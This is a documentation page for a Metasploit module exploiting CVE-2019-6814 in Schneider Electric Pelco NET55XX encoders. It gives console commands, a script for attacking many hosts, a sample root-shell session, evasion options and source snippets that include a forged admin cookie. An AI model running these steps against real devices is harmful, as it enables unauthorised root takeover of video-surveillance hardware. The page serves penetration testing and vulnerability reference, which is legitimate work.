Schneider Electric Pelco Endura NET55XX Encoder - Metasploit
This page contains detailed information about how to use the exploit/unix/http/schneider_electric_net55xx_encoder metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Schneider Electric Pelco Endura NET55XX Encoder
Module: exploit/unix/http/schneider_electric_net55xx_encoder
Source code: modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Disclosure date: 2019-01-25
Last modification time: 2022-04-18 09:36:52 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 22, 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-6814
This module exploits inadequate access controls within the webUI to enable the SSH service and change the root password. This module has been tested successfully on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using schneider_electric_net55xx_encoder against a single host
Normally, you can use exploit/unix/http/schneider_electric_net55xx_encoder this way:
msf > use exploit/unix/http/schneider_electric_net55xx_encoder
msf exploit(schneider_electric_net55xx_encoder) > show targets
... a list of targets ...
msf exploit(schneider_electric_net55xx_encoder) > set TARGET target-id
msf exploit(schneider_electric_net55xx_encoder) > show options
... show and set options ...
msf exploit(schneider_electric_net55xx_encoder) > exploit
Using schneider_electric_net55xx_encoder against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your schneider_electric_net55xx_encoder will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/http/schneider_electric_net55xx_encoder")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Schneider Electric Pelco NET55XX Encoder (CVE 2019-6814)
Adding Schneider Electric Pelco NET55XX module affecting NET55XX versions (NET5501, NET5501-I, NET5501-XT, NET5504, NET5500,NET5516,NET550).
This module exploits an inadequate access control vulnerability creating a malicious JSON request to the webUI
encoder, thus allowing the SSH service to be enabled and changing the root password.
Verification Steps
- [ ] Start
msfconsole
- [ ]
use exploit/linux/http/schneider_electric_net55xx_encoder
- [ ]
set RHOSTS [rhosts]
- [ ]
set RPORT [rport]
- [ ]
set NEW_PASSWORD [new password]
- [ ]
exploit
- [ ] Verify you get a root shell
Options
This module can be as simple as setting the RHOST
and NEW_PASSWORD
option, and you're ready to go.
NEW_PASSWORD
You should set a new SSH password to the vulnerable device.
Scenarios
Schneider Electric Pelco Encoder NET5501-XT
msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RHOSTS 192.168.34.2 RHOSTS => 192.168.34.2 msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RPORT 80 RPORT => 80 msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set NEW_PASSWORD msfrapid7 NEW_PASSWORD => msfrapid7 msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > run
[] 192.168.34.2:22 - Attempt to start a SSH connection... [] 192.168.34.2:80 - Attempt to change the root password... [+] 192.168.34.2:80 - Successfully changed the root password... [+] 192.168.34.2:22 - Session established [] Found shell. [] Command shell session 1 opened (192.168.34.3:37033 -> 192.168.34.2:22) at 2019-07-03 10:57:07 -0400
uname -a;id Linux NET5501-XT-K61200103 2.6.37 #1 PREEMPT Fri Aug 8 04:33:08 KST 2014 armv7l unknown uid=0(root) gid=0(root) groups=0(root)
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Msfconsole Usage
Here is how the unix/http/schneider_electric_net55xx_encoder exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/schneider_electric_net55xx_encoder
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show info
Name: Schneider Electric Pelco Endura NET55XX Encoder
Module: exploit/unix/http/schneider_electric_net55xx_encoder
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-01-25
Provided by:
Lucas Dinucci <[email protected]>
Vitor Esperan��a <[email protected]>
Available targets:
Id Name
-- ----
0 Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
NEW_PASSWORD 4mVVsSj9Pnbi4g5X yes New password to be set for the root account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TIMEOUT 10 yes Timeout for the requests
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits inadequate access controls within the webUI to
enable the SSH service and change the root password. This module has
been tested successfully on: NET5501, NET5501-I, NET5501-XT,
NET5504, NET5500, NET5516, NET550 versions.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-6814
https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/
Module Options
This is a complete list of options available in the unix/http/schneider_electric_net55xx_encoder exploit:
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show options
Module options (exploit/unix/http/schneider_electric_net55xx_encoder):
Name Current Setting Required Description
---- --------------- -------- -----------
NEW_PASSWORD 4mVVsSj9Pnbi4g5X yes New password to be set for the root account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TIMEOUT 10 yes Timeout for the requests
VHOST no HTTP server virtual host
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Universal
Advanced Options
Here is a complete list of advanced options supported by the unix/http/schneider_electric_net55xx_encoder exploit:
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show advanced
Module advanced options (exploit/unix/http/schneider_electric_net55xx_encoder):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UDP_PORT 3702 yes UDP port for the ONVIF service
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/schneider_electric_net55xx_encoder module can exploit:
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show targets
Exploit targets:
Id Name
-- ----
0 Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/schneider_electric_net55xx_encoder exploit:
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/schneider_electric_net55xx_encoder exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/schneider_electric_net55xx_encoder) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to change root password
Here is a relevant code snippet related to the "Failed to change root password" error message:
107: 'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
108: 'Content-Type' => 'application/json;charset=utf-8'
109: }
110: }, timeout=datastore['TIMEOUT'])
111:
112: fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
113: print_good("#{rhost}:80 - Successfully changed the root password...")
114: print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
115: end
116:
117: def do_login
<RHOST>:22 SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:22 SSH - Disconnected during negotiation" error message:
134: ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
135: ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
136: end
137: rescue Rex::ConnectionError
138: rescue Net::SSH::Disconnect, ::EOFError
139: print_error "#{rhost}:22 SSH - Disconnected during negotiation"
140: rescue ::Timeout::Error
141: print_error "#{rhost}:22 SSH - Timed out during negotiation"
142: rescue Net::SSH::AuthenticationFailed
143: print_error "#{rhost}:22 SSH - Failed authentication"
144: rescue Net::SSH::Exception => e
<RHOST>:22 SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:22 SSH - Timed out during negotiation" error message:
136: end
137: rescue Rex::ConnectionError
138: rescue Net::SSH::Disconnect, ::EOFError
139: print_error "#{rhost}:22 SSH - Disconnected during negotiation"
140: rescue ::Timeout::Error
141: print_error "#{rhost}:22 SSH - Timed out during negotiation"
142: rescue Net::SSH::AuthenticationFailed
143: print_error "#{rhost}:22 SSH - Failed authentication"
144: rescue Net::SSH::Exception => e
145: print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
146: end
<RHOST>:22 SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:22 SSH - Failed authentication" error message:
138: rescue Net::SSH::Disconnect, ::EOFError
139: print_error "#{rhost}:22 SSH - Disconnected during negotiation"
140: rescue ::Timeout::Error
141: print_error "#{rhost}:22 SSH - Timed out during negotiation"
142: rescue Net::SSH::AuthenticationFailed
143: print_error "#{rhost}:22 SSH - Failed authentication"
144: rescue Net::SSH::Exception => e
145: print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
146: end
147: if ssh
148: conn = Net::SSH::CommandStream.new(ssh)
<RHOST>:22 SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:22 SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
140: rescue ::Timeout::Error
141: print_error "#{rhost}:22 SSH - Timed out during negotiation"
142: rescue Net::SSH::AuthenticationFailed
143: print_error "#{rhost}:22 SSH - Failed authentication"
144: rescue Net::SSH::Exception => e
145: print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
146: end
147: if ssh
148: conn = Net::SSH::CommandStream.new(ssh)
149: return conn
150: end
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Related Pull Requests
- #14733 Merged Pull Request: Add latest Rubocop rules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12084 Merged Pull Request: Add for Schneider Electric NET55XX Encoder (CVE -2019 -6814)
References
See Also
Check also the following modules related to this module:
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pfsense_clickjacking
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_dhcp_mac_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/http/tnftp_savefile
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
- exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
- exploit/windows/browser/ms08_053_mediaencoder
Authors
- Lucas Dinucci <[email protected]>
- Vitor Esperança <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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